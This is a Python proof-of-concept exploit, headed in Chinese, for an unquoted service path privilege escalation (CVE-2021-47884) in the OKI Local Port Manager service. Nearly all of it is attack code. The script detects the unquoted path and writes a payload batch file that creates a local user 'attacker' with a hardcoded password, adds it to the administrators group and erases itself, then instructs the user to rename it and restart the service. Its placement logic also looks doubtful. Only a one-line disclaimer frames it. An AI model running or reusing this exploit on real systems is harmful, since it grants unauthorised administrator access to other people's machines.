CVE-2021-47884 OKI Configuration Tool 未引用服务路径权限提升漏洞

# CVE-2021-47884 PoC - Unquoted Service Path Privilege Escalation # Target: OKI Configuration Tool 1.6.53 - OKI Local Port Manager Service # Author: Vulnerability Research # Note: This is for educational and authorized testing purposes only import os import sys import subprocess import shutil # Configuration SERVICE_NAME = "OKI Local Port Manager" SERVICE_PATH = r"C:\Program Files\Okidata\Common\extend3\portmgrsrv.exe" MALICIOUS_DIR = r"C:\Program Files\Okidata\Common" MALICIOUS_EXE = os.path.join(MALICIOUS_DIR, "portmgrsrv.exe") def check_vulnerability(): """Check if the target service has unquoted service path vulnerability""" try: # Query service configuration using sc command result = subprocess.run( ["sc", "qc", SERVICE_NAME], capture_output=True, text=True ) output = result.stdout # Check if BINARY_PATH_NAME contains unquoted path with spaces if "BINARY_PATH_NAME" in output: lines = output.split('\n') for line in lines: if "BINARY_PATH_NAME" in line: path = line.split("=", 1)[1].strip() # Check if path is unquoted and contains spaces if not path.startswith('"') and " " in path: print(f"[+] VULNERABLE: Unquoted path detected: {path}") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a malicious executable that will be placed in the unquoted path""" try: # Create directory if it doesn't exist if not os.path.exists(MALICIOUS_DIR): os.makedirs(MALICIOUS_DIR) # Create a simple malicious executable (reverse shell, payload, etc.) # This example creates a simple batch script wrapper malicious_code = '''@echo off REM CVE-2021-47884 Malicious Payload REM In real attack, this would contain actual malicious code REM This creates a new admin user for demonstration net user attacker P@ssw0rd123 /add net localgroup administrators attacker /add REM Clean up and execute legitimate service binary del "%~f0" "C:\\Program Files\\Okidata\\Common\\extend3\\portmgrsrv.exe" ''' # In production, compile to actual executable # For PoC, save as batch file (rename to .exe for actual exploitation) batch_file = os.path.join(MALICIOUS_DIR, "portmgrsrv.bat") with open(batch_file, 'w') as f: f.write(malicious_code) print(f"[+] Malicious batch file created: {batch_file}") print(f"[!] Note: Rename to .exe and place as portmgrsrv.exe for exploitation") return True except PermissionError: print("[-] Permission denied. Run as administrator to create payload.") return False except Exception as e: print(f"[-] Error creating malicious executable: {e}") return False def main(): print("=" * 60) print("CVE-2021-47884 Unquoted Service Path Exploitation PoC") print("Target: OKI Configuration Tool - OKI Local Port Manager") print("=" * 60) if not check_vulnerability(): print("[-] Service not vulnerable or not found.") return if create_malicious_executable(): print("[+] Exploitation prepared.") print("[!] Trigger service restart to execute payload.") print("[!] After exploitation, clean up with: net user attacker /delete") if __name__ == "__main__": main()